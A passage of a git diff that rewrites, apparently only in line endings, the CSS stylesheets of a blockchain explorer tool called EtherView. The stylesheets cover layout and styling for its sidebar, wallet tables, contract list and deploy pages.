rem!important}.pt-xl-3{padding-top:1rem!important}.pt-xl-4{padding-top:1.5rem!important}.pt-xl-5{padding-top:3rem!important}.pe-xl-0{padding-right:0!important}.pe-xl-1{padding-right:.25rem!important}.pe-xl-2{padding-right:.5rem!important}.pe-xl-3{padding-right:1rem!important}.pe-xl-4{padding-right:1.5rem!important}.pe-xl-5{padding-right:3rem!important}.pb-xl-0{padding-bottom:0!important}.pb-xl-1{padding-bottom:.25rem!important}.pb-xl-2{padding-bottom:.5rem!important}.pb-xl-3{padding-bottom:1rem!important}.pb-xl-4{padding-bottom:1.5rem!important}.pb-xl-5{padding-bottom:3rem!important}.ps-xl-0{padding-left:0!important}.ps-xl-1{padding-left:.25rem!important}.ps-xl-2{padding-left:.5rem!important}.ps-xl-3{padding-left:1rem!important}.ps-xl-4{padding-left:1.5rem!important}.ps-xl-5{padding-left:3rem!important}.gap-xl-0{gap:0!important}.gap-xl-1{gap:.25rem!important}.gap-xl-2{gap:.5rem!important}.gap-xl-3{gap:1rem!important}.gap-xl-4{gap:1.5rem!important}.gap-xl-5{gap:3rem!important}.text-xl-start{text-align:left!important}.text-xl-end{text-align:right!important}.text-xl-center{text-align:center!important}}@media (min-width:1400px){.float-xxl-start{float:left!important}.float-xxl-end{float:right!important}.float-xxl-none{float:none!important}.d-xxl-inline{display:inline!important}.d-xxl-inline-block{display:inline-block!important}.d-xxl-block{display:block!important}.d-xxl-grid{display:grid!important}.d-xxl-table{display:table!important}.d-xxl-table-row{display:table-row!important}.d-xxl-table-cell{display:table-cell!important}.d-xxl-flex{display:flex!important}.d-xxl-inline-flex{display:inline-flex!important}.d-xxl-none{display:none!important}.flex-xxl-fill{flex:1 1 auto!important}.flex-xxl-row{flex-direction:row!important}.flex-xxl-column{flex-direction:column!important}.flex-xxl-row-reverse{flex-direction:row-reverse!important}.flex-xxl-column-reverse{flex-direction:column-reverse!important}.flex-xxl-grow-0{flex-grow:0!important}.flex-xxl-grow-1{flex-grow:1!important}.flex-xxl-shrink-0{flex-shrink:0!important}.flex-xxl-shrink-1{flex-shrink:1!important}.flex-xxl-wrap{flex-wrap:wrap!important}.flex-xxl-nowrap{flex-wrap:nowrap!important}.flex-xxl-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-xxl-start{justify-content:flex-start!important}.justify-content-xxl-end{justify-content:flex-end!important}.justify-content-xxl-center{justify-content:center!important}.justify-content-xxl-between{justify-content:space-between!important}.justify-content-xxl-around{justify-content:space-around!important}.justify-content-xxl-evenly{justify-content:space-evenly!important}.align-items-xxl-start{align-items:flex-start!important}.align-items-xxl-end{align-items:flex-end!important}.align-items-xxl-center{align-items:center!important}.align-items-xxl-baseline{align-items:baseline!important}.align-items-xxl-stretch{align-items:stretch!important}.align-content-xxl-start{align-content:flex-start!important}.align-content-xxl-end{align-content:flex-end!important}.align-content-xxl-center{align-content:center!important}.align-content-xxl-between{align-content:space-between!important}.align-content-xxl-around{align-content:space-around!important}.align-content-xxl-stretch{align-content:stretch!important}.align-self-xxl-auto{align-self:auto!important}.align-self-xxl-start{align-self:flex-start!important}.align-self-xxl-end{align-self:flex-end!important}.align-self-xxl-center{align-self:center!important}.align-self-xxl-baseline{align-self:baseline!important}.align-self-xxl-stretch{align-self:stretch!important}.order-xxl-first{order:-1!important}.order-xxl-0{order:0!important}.order-xxl-1{order:1!important}.order-xxl-2{order:2!important}.order-xxl-3{order:3!important}.order-xxl-4{order:4!important}.order-xxl-5{order:5!important}.order-xxl-last{order:6!important}.m-xxl-0{margin:0!important}.m-xxl-1{margin:.25rem!important}.m-xxl-2{margin:.5rem!important}.m-xxl-3{margin:1rem!important}.m-xxl-4{margin:1.5rem!important}.m-xxl-5{margin:3rem!important}.m-xxl-auto{margin:auto!important}.mx-xxl-0{margin-right:0!important;margin-left:0!important}.mx-xxl-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-xxl-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-xxl-3{margin-right:1rem!important;margin-left:1rem!important}.mx-xxl-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-xxl-5{margin-right:3rem!important;margin-left:3rem!important}.mx-xxl-auto{margin-right:auto!important;margin-left:auto!important}.my-xxl-0{margin-top:0!important;margin-bottom:0!important}.my-xxl-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-xxl-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-xxl-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-xxl-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-xxl-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-xxl-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-xxl-0{margin-top:0!important}.mt-xxl-1{margin-top:.25rem!important}.mt-xxl-2{margin-top:.5rem!important}.mt-xxl-3{margin-top:1rem!important}.mt-xxl-4{margin-top:1.5rem!important}.mt-xxl-5{margin-top:3rem!important}.mt-xxl-auto{margin-top:auto!important}.me-xxl-0{margin-right:0!important}.me-xxl-1{margin-right:.25rem!important}.me-xxl-2{margin-right:.5rem!important}.me-xxl-3{margin-right:1rem!important}.me-xxl-4{margin-right:1.5rem!important}.me-xxl-5{margin-right:3rem!important}.me-xxl-auto{margin-right:auto!important}.mb-xxl-0{margin-bottom:0!important}.mb-xxl-1{margin-bottom:.25rem!important}.mb-xxl-2{margin-bottom:.5rem!important}.mb-xxl-3{margin-bottom:1rem!important}.mb-xxl-4{margin-bottom:1.5rem!important}.mb-xxl-5{margin-bottom:3rem!important}.mb-xxl-auto{margin-bottom:auto!important}.ms-xxl-0{margin-left:0!important}.ms-xxl-1{margin-left:.25rem!important}.ms-xxl-2{margin-left:.5rem!important}.ms-xxl-3{margin-left:1rem!important}.ms-xxl-4{margin-left:1.5rem!important}.ms-xxl-5{margin-left:3rem!important}.ms-xxl-auto{margin-left:auto!important}.p-xxl-0{padding:0!important}.p-xxl-1{padding:.25rem!important}.p-xxl-2{padding:.5rem!important}.p-xxl-3{padding:1rem!important}.p-xxl-4{padding:1.5rem!important}.p-xxl-5{padding:3rem!important}.px-xxl-0{padding-right:0!important;padding-left:0!important}.px-xxl-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-xxl-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-xxl-3{padding-right:1rem!important;padding-left:1rem!important}.px-xxl-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-xxl-5{padding-right:3rem!important;padding-left:3rem!important}.py-xxl-0{padding-top:0!important;padding-bottom:0!important}.py-xxl-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-xxl-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-xxl-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-xxl-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-xxl-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-xxl-0{padding-top:0!important}.pt-xxl-1{padding-top:.25rem!important}.pt-xxl-2{padding-top:.5rem!important}.pt-xxl-3{padding-top:1rem!important}.pt-xxl-4{padding-top:1.5rem!important}.pt-xxl-5{padding-top:3rem!important}.pe-xxl-0{padding-right:0!important}.pe-xxl-1{padding-right:.25rem!important}.pe-xxl-2{padding-right:.5rem!important}.pe-xxl-3{padding-right:1rem!important}.pe-xxl-4{padding-right:1.5rem!important}.pe-xxl-5{padding-right:3rem!important}.pb-xxl-0{padding-bottom:0!important}.pb-xxl-1{padding-bottom:.25rem!important}.pb-xxl-2{padding-bottom:.5rem!important}.pb-xxl-3{padding-bottom:1rem!important}.pb-xxl-4{padding-bottom:1.5rem!important}.pb-xxl-5{padding-bottom:3rem!important}.ps-xxl-0{padding-left:0!important}.ps-xxl-1{padding-left:.25rem!important}.ps-xxl-2{padding-left:.5rem!important}.ps-xxl-3{padding-left:1rem!important}.ps-xxl-4{padding-left:1.5rem!important}.ps-xxl-5{padding-left:3rem!important}.gap-xxl-0{gap:0!important}.gap-xxl-1{gap:.25rem!important}.gap-xxl-2{gap:.5rem!important}.gap-xxl-3{gap:1rem!important}.gap-xxl-4{gap:1.5rem!important}.gap-xxl-5{gap:3rem!important}.text-xxl-start{text-align:left!important}.text-xxl-end{text-align:right!important}.text-xxl-center{text-align:center!important}}@media (min-width:1200px){.fs-1{font-size:2.5rem!important}.fs-2{font-size:2rem!important}.fs-3{font-size:1.75rem!important}.fs-4{font-size:1.5rem!important}}@media print{.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-grid{display:grid!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:flex!important}.d-print-inline-flex{display:inline-flex!important}.d-print-none{display:none!important}} /*# sourceMappingURL=bootstrap.min.css.map */ \ No newline at end of file diff --git a/tools/Blockchain/EtherView/server/static/css/style.css b/tools/Blockchain/EtherView/server/static/css/style.css index ccfb4dfb0..63a33338d 100644 --- a/tools/Blockchain/EtherView/server/static/css/style.css +++ b/tools/Blockchain/EtherView/server/static/css/style.css @@ -1,210 +1,210 @@ -/* start of side bar style */ - -body { - font-family: "Garamond", serif; -} - -.sidenav { - height: 100%; - width: 180px; - position: fixed; - z-index: 1; - top: 0; - left: 0; - background-color: #111; - overflow-x: hidden; - padding-top: 200px; -} - -.sidenav a { - text-align: center; - padding: 30px 8px 20px 10px; - text-decoration: none; - font-size: 25px; - color: #818181; - display: block; -} - -.sidenav a:hover { - color: #f1f1f1; -} - -.main { - margin-left: 160px; /* Same as the width of the sidenav */ - font-size: 18px; /* Increased text to enable scrolling */ - padding: 0px 40px; -} - -@media screen and (max-height: 450px) { - .sidenav {padding-top: 15px;} - .sidenav a {font-size: 18px;} -} - -/* end of sidebar style */ - -h1 { - text-align: center; -} - -/* start of drop down in general-frontend.html and wallet.html */ - -/* .network-dropdown-form label{ - font-weight: bold; - font-size: x-large; -} - -.network-dropdown-form select{ - size: 100px; -} */ - -.dropdown-form label{ - font-weight: bold; - font-size: large; -} - -.dropdown-form select{ - size: 100px; -} - -#networks{ - width: 150px; - height: 30px; - text-align: center; - font-size: large; - /* font-weight: bold; */ -} - -#keys{ - width: 150px; - height: 30px; - text-align: center; - font-size: large; - font-weight: bold; -} - -/* end of drop down in general-frontend.html and wallet.html */ - -.global-wallet-view-dropdown label{ - font-weight: bold; - font-size: large; -} - -.global-wallet-view-dropdown select { - size: 100px; -} - -/* start of main table in general-frontend.html */ - -/*.main_table{ - width: 400px; - table-layout: fixed; - border-collapse: collapse; -} - -.main_table tbody{ - display:block; - width: 100%; - overflow: auto; - height: 100px; -} - -.main_table thead tr { - display: block; -} - -.main_table thead { - background: black; - color:#fff; -} - -.main_table th, .main_table td { - padding: 5px; - text-align: left; - width: 200px; -}*/ - - -.main-table { -/* padding-top: 35px;*/ - text-align: center; - height: 700px; - overflow-y: scroll; - border: 1px solid; - border-radius: 15px; - -} - -.block-table { - text-align: left; - height: 700px; - overflow-y: scroll; - border: 1px solid; - border-radius: 15px; -} - - -.tran-table{ -/* padding-top: 35px;*/ - text-align: center; - height: 500px; - overflow-y: scroll; - border: 1px solid; - border-radius: 15px; -} - -/* table { - border-collapse: collapse; - border-spacing: 0; - width: 100%; - border: 1px solid #ddd; - } */ - -th, td { -text-align: center; -padding: 10px; -} - -tr:nth-child(even){background-color: #f2f2f2;} - -/* end of main table in general-frontend.html */ - -/* start of buttons in wallet.html */ - -.tx-button-group{ - padding-top: 10px; - text-align: left; -} - -#send_eth { - text-align: center; - margin: 15px; - padding: 8px 25px; - display: inline-block; - } - -/* end of buttons in wallet.html */ - -/* start of input fields for address in wallet.html */ - -#request_address { - width: 400px; - height: 30px; -} - -#send_address { - width: 400px; - height: 30px; -} - -/* end of input fields for address in wallet.html */ - -#heading-label { - font-size: x-large; -} - -#subheading-label { - font-size: medium; -} - - - +/* start of side bar style */ + +body { + font-family: "Garamond", serif; +} + +.sidenav { + height: 100%; + width: 180px; + position: fixed; + z-index: 1; + top: 0; + left: 0; + background-color: #111; + overflow-x: hidden; + padding-top: 200px; +} + +.sidenav a { + text-align: center; + padding: 30px 8px 20px 10px; + text-decoration: none; + font-size: 25px; + color: #818181; + display: block; +} + +.sidenav a:hover { + color: #f1f1f1; +} + +.main { + margin-left: 160px; /* Same as the width of the sidenav */ + font-size: 18px; /* Increased text to enable scrolling */ + padding: 0px 40px; +} + +@media screen and (max-height: 450px) { + .sidenav {padding-top: 15px;} + .sidenav a {font-size: 18px;} +} + +/* end of sidebar style */ + +h1 { + text-align: center; +} + +/* start of drop down in general-frontend.html and wallet.html */ + +/* .network-dropdown-form label{ + font-weight: bold; + font-size: x-large; +} + +.network-dropdown-form select{ + size: 100px; +} */ + +.dropdown-form label{ + font-weight: bold; + font-size: large; +} + +.dropdown-form select{ + size: 100px; +} + +#networks{ + width: 150px; + height: 30px; + text-align: center; + font-size: large; + /* font-weight: bold; */ +} + +#keys{ + width: 150px; + height: 30px; + text-align: center; + font-size: large; + font-weight: bold; +} + +/* end of drop down in general-frontend.html and wallet.html */ + +.global-wallet-view-dropdown label{ + font-weight: bold; + font-size: large; +} + +.global-wallet-view-dropdown select { + size: 100px; +} + +/* start of main table in general-frontend.html */ + +/*.main_table{ + width: 400px; + table-layout: fixed; + border-collapse: collapse; +} + +.main_table tbody{ + display:block; + width: 100%; + overflow: auto; + height: 100px; +} + +.main_table thead tr { + display: block; +} + +.main_table thead { + background: black; + color:#fff; +} + +.main_table th, .main_table td { + padding: 5px; + text-align: left; + width: 200px; +}*/ + + +.main-table { +/* padding-top: 35px;*/ + text-align: center; + height: 700px; + overflow-y: scroll; + border: 1px solid; + border-radius: 15px; + +} + +.block-table { + text-align: left; + height: 700px; + overflow-y: scroll; + border: 1px solid; + border-radius: 15px; +} + + +.tran-table{ +/* padding-top: 35px;*/ + text-align: center; + height: 500px; + overflow-y: scroll; + border: 1px solid; + border-radius: 15px; +} + +/* table { + border-collapse: collapse; + border-spacing: 0; + width: 100%; + border: 1px solid #ddd; + } */ + +th, td { +text-align: center; +padding: 10px; +} + +tr:nth-child(even){background-color: #f2f2f2;} + +/* end of main table in general-frontend.html */ + +/* start of buttons in wallet.html */ + +.tx-button-group{ + padding-top: 10px; + text-align: left; +} + +#send_eth { + text-align: center; + margin: 15px; + padding: 8px 25px; + display: inline-block; + } + +/* end of buttons in wallet.html */ + +/* start of input fields for address in wallet.html */ + +#request_address { + width: 400px; + height: 30px; +} + +#send_address { + width: 400px; + height: 30px; +} + +/* end of input fields for address in wallet.html */ + +#heading-label { + font-size: x-large; +} + +#subheading-label { + font-size: medium; +} + + + diff --git a/tools/Blockchain/EtherView/server/static/css/style_block.css b/tools/Blockchain/EtherView/server/static/css/style_block.css index 22b57bfc6..f2ca8015c 100644 --- a/tools/Blockchain/EtherView/server/static/css/style_block.css +++ b/tools/Blockchain/EtherView/server/static/css/style_block.css @@ -1,48 +1,48 @@ -body { - background: #f3f3f3; -} - -.sketchy { - border: 3px solid #333333; - border-radius: 2% 6% 5% 4% / 1% 1% 2% 4%; - background: #ffffff; - position: relative; -} - -h1 { - padding-bottom: 10px; -} - -select, -input { - font-size: medium; -} - -label, -span { - font-size: medium; - margin: 10px auto; - text-align: center; -} - -.sub-content { - width: 50%; - text-align: center; -} - -.main-content { - display: flex; - height: 100%; - margin-bottom: 10px; -} - -@media screen and (max-width: 1050px) { - .main-content { - display: flex; - flex-direction: column; - } - .sub-content { - width: 100%; - text-align: center; - } -} +body { + background: #f3f3f3; +} + +.sketchy { + border: 3px solid #333333; + border-radius: 2% 6% 5% 4% / 1% 1% 2% 4%; + background: #ffffff; + position: relative; +} + +h1 { + padding-bottom: 10px; +} + +select, +input { + font-size: medium; +} + +label, +span { + font-size: medium; + margin: 10px auto; + text-align: center; +} + +.sub-content { + width: 50%; + text-align: center; +} + +.main-content { + display: flex; + height: 100%; + margin-bottom: 10px; +} + +@media screen and (max-width: 1050px) { + .main-content { + display: flex; + flex-direction: column; + } + .sub-content { + width: 100%; + text-align: center; + } +} diff --git a/tools/Blockchain/EtherView/server/static/css/style_contract.css b/tools/Blockchain/EtherView/server/static/css/style_contract.css index d2355d91d..cb646968d 100644 --- a/tools/Blockchain/EtherView/server/static/css/style_contract.css +++ b/tools/Blockchain/EtherView/server/static/css/style_contract.css @@ -1,74 +1,74 @@ -body{ - background-color: rgb(204, 201, 201); -} - - -.address-bn{ - font-size: small; -} - -.top-content{ - - text-align: center; - - border-radius: 10px; - padding-bottom: 5px; - margin-bottom: 1.5%; -} - -.bg-color{ - background-color: white; -} - -.state-margin{ - margin: auto 2%; -} - -#contract-state-box{ - font-size: small; - height: 30vh; - border-style: solid; - overflow-x:auto; -} - -.interaction-block{ - width: 100%; - height:50vh; - display: inline-block; - overflow: scroll; - margin-right: 1%; -} - -.main-content{ - display: flex; -} - -#gas-limit-box{ - - width: 50%; -} - -.terminal-block{ - width: 100%; - height:50vh; - display: inline-block; - overflow: scroll; - margin-left: 1%; -} - -.border-rounded{ - border-radius: 10px; -} - -label{ - font-size: small; -} - -select{ - width: 50%; - font-size: small; -} - -h3{ - text-align:center; -} +body{ + background-color: rgb(204, 201, 201); +} + + +.address-bn{ + font-size: small; +} + +.top-content{ + + text-align: center; + + border-radius: 10px; + padding-bottom: 5px; + margin-bottom: 1.5%; +} + +.bg-color{ + background-color: white; +} + +.state-margin{ + margin: auto 2%; +} + +#contract-state-box{ + font-size: small; + height: 30vh; + border-style: solid; + overflow-x:auto; +} + +.interaction-block{ + width: 100%; + height:50vh; + display: inline-block; + overflow: scroll; + margin-right: 1%; +} + +.main-content{ + display: flex; +} + +#gas-limit-box{ + + width: 50%; +} + +.terminal-block{ + width: 100%; + height:50vh; + display: inline-block; + overflow: scroll; + margin-left: 1%; +} + +.border-rounded{ + border-radius: 10px; +} + +label{ + font-size: small; +} + +select{ + width: 50%; + font-size: small; +} + +h3{ + text-align:center; +} diff --git a/tools/Blockchain/EtherView/server/static/css/style_contract_list.css b/tools/Blockchain/EtherView/server/static/css/style_contract_list.css index 1b5c28a15..fc5111cad 100644 --- a/tools/Blockchain/EtherView/server/static/css/style_contract_list.css +++ b/tools/Blockchain/EtherView/server/static/css/style_contract_list.css @@ -1,156 +1,156 @@ -body { - background: #f3f3f3; -} -table { - border-spacing: 1; - border-collapse: collapse; - background: white; - border-radius: 10px; - overflow: hidden; - width: 100%; - margin: 0 0; - position: relative; -} -table * { - position: relative; -} -table td, -table th { - padding-left: 8px; - font-size: 16px; -} -table thead tr { - height: 60px; - background: #ccc; - font-size: 16px; -} -table tbody tr { - height: 48px; - border-bottom: 1px solid #e3f1d5; -} -table tbody tr:last-child { - border: 0; -} -table td, -table th { - text-align: center; -} - -table tbody tr:hover { - background-color: #ebe6e6; -} -table td.l, -table th.l { - text-align: right; -} -table td.c, -table th.c { - text-align: center; -} -table td.r, -table th.r { - text-align: center; -} - -td button { - width: 72px; - cursor: pointer; -} - -td button:hover { - cursor: pointer; -} - -/* abi pop up window*/ - -span { - font-size: medium; -} - -.popup { - background-color: #d1d1d1; - width: 40vw; - padding: 10px 10px; - position: fixed; - transform: translate(-50%, -50%); - left: 58%; - top: 50%; - border-radius: 8px; - font-family: "Poppins", sans-serif; - display: none; - text-align: center; -} -.popup button { - display: block; - margin: 0 0 10px auto; - background-color: transparent; - color: #ffffff; - border-radius: 100%; - width: 20px; - height: 10px; - border: none; - outline: none; - cursor: pointer; - font-size: small; -} - -#abi-window-content { - background-color: #ffffff; - border-radius: 8px; - min-height: 10vh; - overflow: auto; -} - -/* abi pop up window*/ - -@media screen and (max-width: 60em) { - table { - display: block; - } - table > *, - table tr, - table td, - table th { - display: block; - } - table thead { - display: none; - } - table tbody tr { - height: auto; - padding: 8px 0; - } - table tbody tr td { - padding-left: 45%; - margin-bottom: 12px; - overflow: auto; - } - table tbody tr td:last-child { - margin-bottom: 0; - } - table tbody tr td:before { - position: absolute; - font-weight: 700; - width: 40%; - left: 10px; - top: 0; - } - table tbody tr td:nth-child(1):before { - content: "Block No."; - } - table tbody tr td:nth-child(2):before { - content: "Contract Name"; - } - table tbody tr td:nth-child(3):before { - content: "Contract Adress"; - } - table tbody tr td:nth-child(4):before { - content: "Owner"; - } - table tbody tr td:nth-child(5):before { - content: "Contract Balance"; - } - table tbody tr td:nth-child(6):before { - content: "Actions"; - } -} +body { + background: #f3f3f3; +} +table { + border-spacing: 1; + border-collapse: collapse; + background: white; + border-radius: 10px; + overflow: hidden; + width: 100%; + margin: 0 0; + position: relative; +} +table * { + position: relative; +} +table td, +table th { + padding-left: 8px; + font-size: 16px; +} +table thead tr { + height: 60px; + background: #ccc; + font-size: 16px; +} +table tbody tr { + height: 48px; + border-bottom: 1px solid #e3f1d5; +} +table tbody tr:last-child { + border: 0; +} +table td, +table th { + text-align: center; +} + +table tbody tr:hover { + background-color: #ebe6e6; +} +table td.l, +table th.l { + text-align: right; +} +table td.c, +table th.c { + text-align: center; +} +table td.r, +table th.r { + text-align: center; +} + +td button { + width: 72px; + cursor: pointer; +} + +td button:hover { + cursor: pointer; +} + +/* abi pop up window*/ + +span { + font-size: medium; +} + +.popup { + background-color: #d1d1d1; + width: 40vw; + padding: 10px 10px; + position: fixed; + transform: translate(-50%, -50%); + left: 58%; + top: 50%; + border-radius: 8px; + font-family: "Poppins", sans-serif; + display: none; + text-align: center; +} +.popup button { + display: block; + margin: 0 0 10px auto; + background-color: transparent; + color: #ffffff; + border-radius: 100%; + width: 20px; + height: 10px; + border: none; + outline: none; + cursor: pointer; + font-size: small; +} + +#abi-window-content { + background-color: #ffffff; + border-radius: 8px; + min-height: 10vh; + overflow: auto; +} + +/* abi pop up window*/ + +@media screen and (max-width: 60em) { + table { + display: block; + } + table > *, + table tr, + table td, + table th { + display: block; + } + table thead { + display: none; + } + table tbody tr { + height: auto; + padding: 8px 0; + } + table tbody tr td { + padding-left: 45%; + margin-bottom: 12px; + overflow: auto; + } + table tbody tr td:last-child { + margin-bottom: 0; + } + table tbody tr td:before { + position: absolute; + font-weight: 700; + width: 40%; + left: 10px; + top: 0; + } + table tbody tr td:nth-child(1):before { + content: "Block No."; + } + table tbody tr td:nth-child(2):before { + content: "Contract Name"; + } + table tbody tr td:nth-child(3):before { + content: "Contract Adress"; + } + table tbody tr td:nth-child(4):before { + content: "Owner"; + } + table tbody tr td:nth-child(5):before { + content: "Contract Balance"; + } + table tbody tr td:nth-child(6):before { + content: "Actions"; + } +} diff --git a/tools/Blockchain/EtherView/server/static/css/style_deploy.css b/tools/Blockchain/EtherView/server/static/css/style_deploy.css index 9c9494cbc..0ef2b3001 100644 --- a/tools/Blockchain/EtherView/server/static/css/style_deploy.css +++ b/tools/Blockchain/EtherView/server/static/css/style_deploy.css @@ -1,167 +1,167 @@ -body { - background: #f3f3f3; -} - -.sketchy { - border: 3px solid #333333; - border-radius: 2% 6% 5% 4% / 1% 1% 2% 4%; - background: #ffffff; - position: relative; -} - -/* .sketchy::before{ - - content: ""; - border: 2px solid #353535; - display: block; - width: 100%; - height: 100%; - position: absolute; - top: 50%; - left: 50%; - transform: translate3d(-50%, -50%, 0) scale(1.015) rotate(0.5deg); - border-radius: 1% 1% 2% 4% / 2% 6% 5% 4%; -} */ - - - - -h1{ - padding-bottom: 10px; -} - -select, input{ - font-size: medium; -} - -label, span{ - font-size: medium; - margin: 10px auto; - text-align: center; -} - -/* connected status block*/ -#connected_btn{ - background-color: orange; - border-radius: 10px; - margin-bottom: 15px; -} - -#connected-status-block{ - margin-top: 5px; - min-height: 80px; -} - -#connect_tick{ - display: flex; - flex-direction: column; - justify-content: center; - align-items: center; -} - -/* connected button*/ - -/* preview block */ - -#abi-pre-block{ - - font-size: small; - height: 45vh; - margin: auto calc(40% - 150px); - border-style: solid; - overflow-x:auto; -} - - -/* preview block */ - - -/* deploy status block */ - -#deploy-status-block{ - font-size: small; - height: 23vh; - margin: 10px calc(40% - 150px); - border-style: solid; - overflow-x:auto; - display: flex; - flex-direction: column; -} - -/* deploy status block */ - -/* deploy block */ - - -#account{ - - width: 20vw; -} - -#ether-value{ - width: 50%; -} - -#deploy{ - margin-bottom: 5px; -} - -.upload-block{ - display: flex; - flex-direction: column; -} - -.deploy-arugments-block{ - display: none; - flex-direction: column; -} - -/* deploy block */ - -.sub-content{ - width: 50%; - text-align: center; -} - -.main-content{ - display: flex; - height: 100%; - margin-bottom: 10px; -} - - -@media screen and (max-width: 1050px) { - .main-content{ - display: flex; - flex-direction: column; - } - .sub-content{ - width: 100%; - text-align: center; - } - - #abi-pre-block{ - font-size: small; - height: 50vh; - margin: auto calc(30% - 100px); - border-style: solid; - overflow-x:auto; - } - - /* deploy status block */ - - #deploy-status-block{ - font-size: small; - height: 15vh; - margin: 15px calc(30% - 100px); - border-style: solid; - overflow-x:auto; - } - - /* deploy status block */ - - - } - - - +body { + background: #f3f3f3; +} + +.sketchy { + border: 3px solid #333333; + border-radius: 2% 6% 5% 4% / 1% 1% 2% 4%; + background: #ffffff; + position: relative; +} + +/* .sketchy::before{ + + content: ""; + border: 2px solid #353535; + display: block; + width: 100%; + height: 100%; + position: absolute; + top: 50%; + left: 50%; + transform: translate3d(-50%, -50%, 0) scale(1.015) rotate(0.5deg); + border-radius: 1% 1% 2% 4% / 2% 6% 5% 4%; +} */ + + + + +h1{ + padding-bottom: 10px; +} + +select, input{ + font-size: medium; +} + +label, span{ + font-size: medium; + margin: 10px auto; + text-align: center; +} + +/* connected status block*/ +#connected_btn{ + background-color: orange; + border-radius: 10px; + margin-bottom: 15px; +} + +#connected-status-block{ + margin-top: 5px; + min-height: 80px; +} + +#connect_tick{ + display: flex; + flex-direction: column; + justify-content: center; + align-items: center; +} + +/* connected button*/ + +/* preview block */ + +#abi-pre-block{ + + font-size: small; + height: 45vh; + margin: auto calc(40% - 150px); + border-style: solid; + overflow-x:auto; +} + + +/* preview block */ + + +/* deploy status block */ + +#deploy-status-block{ + font-size: small; + height: 23vh; + margin: 10px calc(40% - 150px); + border-style: solid; + overflow-x:auto; + display: flex; + flex-direction: column; +} + +/* deploy status block */ + +/* deploy block */ + + +#account{ + + width: 20vw; +} + +#ether-value{ + width: 50%; +} + +#deploy{ + margin-bottom: 5px; +} + +.upload-block{ + display: flex; + flex-direction: column; +} + +.deploy-arugments-block{ + display: none; + flex-direction: column; +} + +/* deploy block */ + +.sub-content{ + width: 50%; + text-align: center; +} + +.main-content{ + display: flex; + height: 100%; + margin-bottom: 10px; +} + + +@media screen and (max-width: 1050px) { + .main-content{ + display: flex; + flex-direction: column; + } + .sub-content{ + width: 100%; + text-align: center; + } + + #abi-pre-block{ + font-size: small; + height: 50vh; + margin: auto calc(30% - 100px); + border-style: solid; + overflow-x:auto; + } + + /* deploy status block */ + + #deploy-status-block{ + font-size: small; + height: 15vh; + margin: 15px calc(30% - 100px); + border-style: solid; + overflow-x:auto; + } + + /* deploy status block */ + + + } + + + diff --git a/tools/Blockchain/EtherView/server/static/css/style_general.css b/tools/Blockchain/EtherView/server/static/css/style_general.css index b398c794a..7ea28e7e4 100644 --- a/tools/Blockchain/EtherView/server/static/css/style_general.css +++ b/tools/Blockchain/EtherView/server/static/css/style_general.css @@ -1,100 +1,100 @@ -table { - border-spacing: 1; - border-collapse: collapse; - background: white; - border-radius: 10px; - overflow: hidden; - width: 100%; - margin: 0 auto; - position: relative; - } - table * { - position: relative; - } - table td, - table th { - padding-left: 8px; - font-size: 16px; - } - table thead tr { - height: 60px; - background: #ccc; - font-size: 16px; - } - table tbody tr { - height: 48px; - border-bottom: 1px solid #e3f1d5; - } - table tbody tr:last-child { - border: 0; - } - table td, - table th { - text-align: center; - } - - table tbody tr:hover{ - background-color: #ebe6e6; - } - table td.l, - table th.l { - text-align: right; - } - table td.c, - table th.c { - text-align: center; - } - table td.r, - table th.r { - text-align: center; - } - - - @media screen and (max-width: 35.5em) { - table { - display: block; - } - table > *, - table tr, - table td, - table th { - display: block; - } - table thead { - display: none; - } - table tbody tr { - height: auto; - padding: 8px 0; - } - table tbody tr td { - padding-left: 45%; - margin-bottom: 12px; - } - table tbody tr td:last-child { - margin-bottom: 0; - } - table tbody tr td:before { - position: absolute; - font-weight: 700; - width: 40%; - left: 10px; - top: 0; - } - table tbody tr td:nth-child(1):before { - content: "Account No"; - } - table tbody tr td:nth-child(2):before { - content: "Balance"; - } - table tbody tr td:nth-child(3):before { - content: "Block"; - } - table tbody tr td:nth-child(4):before { - content: "Wallet"; - } - table tbody tr td:nth-child(5):before { - content: "Balance Change"; - } - } - +table { + border-spacing: 1; + border-collapse: collapse; + background: white; + border-radius: 10px; + overflow: hidden; + width: 100%; + margin: 0 auto; + position: relative; + } + table * { + position: relative; + } + table td, + table th { + padding-left: 8px; + font-size: 16px; + } + table thead tr { + height: 60px; + background: #ccc; + font-size: 16px; + } + table tbody tr { + height: 48px; + border-bottom: 1px solid #e3f1d5; + } + table tbody tr:last-child { + border: 0; + } + table td, + table th { + text-align: center; + } + + table tbody tr:hover{ + background-color: #ebe6e6; + } + table td.l, + table th.l { + text-align: right; + } + table td.c, + table th.c { + text-align: center; + } + table td.r, + table th.r { + text-align: center; + } + + + @media screen and (max-width: 35.5em) { + table { + display: block; + } + table > *, + table tr, + table td, + table th { + display: block; + } + table thead { + display: none; + } + table tbody tr { + height: auto; + padding: 8px 0; + } + table tbody tr td { + padding-left: 45%; + margin-bottom: 12px; + } + table tbody tr td:last-child { + margin-bottom: 0; + } + table tbody tr td:before { + position: absolute; + font-weight: 700; + width: 40%; + left: 10px; + top: 0; + } + table tbody tr td:nth-child(1):before { + content: "Account No"; + } + table tbody tr td:nth-child(2):before { + content: "Balance"; + } + table tbody tr td:nth-child(3):before { + content: "Block"; + } + table tbody tr td:nth-child(4):before { + content: 